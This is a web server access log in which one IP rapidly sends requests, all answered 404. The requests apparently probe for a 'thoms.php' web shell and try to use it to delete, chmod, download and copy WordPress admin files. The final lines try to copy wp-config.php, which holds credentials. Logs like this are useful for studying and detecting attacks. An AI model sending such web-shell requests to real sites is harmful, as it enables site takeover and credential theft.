45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /thoms.php?chmod=profile.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /thoms.php?chmod=setup-config.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=setup-config.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=widgets.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /ba-guo.com.tw/wp-admin/ms-edit.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /ba-guo.com.tw/wp-admin/tools.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /thoms.php?chmod=custom-header.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=custom-header.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /thoms.php?del=edit-comments.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-comments.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /thoms.php?chmod=edit-form-comment.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-form-comment.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /thoms.php?del=edit-tags.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-tags.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fmedia.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fmedia.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /ba-guo.com.tw/wp-admin/options-reading.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /ba-guo.com.tw/wp-admin/upload.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /thoms.php?del=users.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=users.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /ba-guo.com.tw/wp-admin/maint/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /thoms.php?del=my-sites.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=my-sites.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /ba-guo.com.tw/wp-admin/privacy-policy-guide.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /thoms.php?del=index.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /thoms.php?del=link-manager.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link-manager.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fms-admin.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fms-admin.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /thoms.php?del=ms-upgrade-network.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-upgrade-network.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /thoms.php?dl=upgrade.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=upgrade.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-head.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-head.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fplugin-install.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fplugin-install.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /ba-guo.com.tw/wp-admin/font-library.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /thoms.php?chmod=images&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=images&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /thoms.php?del=font-library.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=font-library.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /ba-guo.com.tw/wp-admin/media-upload.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /thoms.php?chmod=link-add.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link-add.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /thoms.php?dl=freedoms.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=freedoms.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /thoms.php?dl=options-discussion.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-discussion.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /ba-guo.com.tw/wp-admin/plugin-install.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /thoms.php?del=options-reading.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-reading.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:05 -0400] "GET /ba-guo.com.tw/wp-admin/edit-comments.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /thoms.php?del=options-writing.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-writing.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /thoms.php?dl=profile.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /thoms.php?chmod=edit.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /thoms.php?del=export.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=export.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /thoms.php?del=site-editor.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=site-editor.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /thoms.php?dl=tools.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=tools.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /thoms.php?del=css&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=css&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /thoms.php?del=erase-personal-data.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=erase-personal-data.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=link.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=link.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /ba-guo.com.tw/wp-admin/plugins.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /thoms.php?del=ms-edit.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-edit.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /thoms.php?chmod=options-connectors.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-connectors.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /ba-guo.com.tw/wp-admin/edit-form-blocks.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /thoms.php?dl=widgets-form-blocks.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=widgets-form-blocks.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=customize.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=customize.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fload-scripts.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fload-scripts.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=ms-options.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=ms-options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:06 -0400] "GET /thoms.php?chmod=options-writing.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-writing.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:07 -0400] "GET /thoms.php?chmod=site-editor.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=site-editor.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:07 -0400] "GET /thoms.php?dl=users.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=users.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:07 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fadmin-footer.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fadmin-footer.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:07 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:07 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:07 -0400] "GET /ba-guo.com.tw/wp-admin/options-writing.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:07 -0400] "GET /thoms.php?chmod=link-parse-opml.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link-parse-opml.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:07 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=media.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:07 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-permalink.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-permalink.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:07 -0400] "GET /thoms.php?chmod=options.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:07 -0400] "GET /thoms.php?dl=contribute.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=contribute.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:07 -0400] "GET /thoms.php?dl=customize.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=customize.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:07 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Flink-manager.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Flink-manager.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:07 -0400] "GET /thoms.php?chmod=load-scripts.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=load-scripts.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:07 -0400] "GET /thoms.php?dl=options-head.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-head.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:07 -0400] "GET /thoms.php?del=options-privacy.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-privacy.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:07 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-config.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
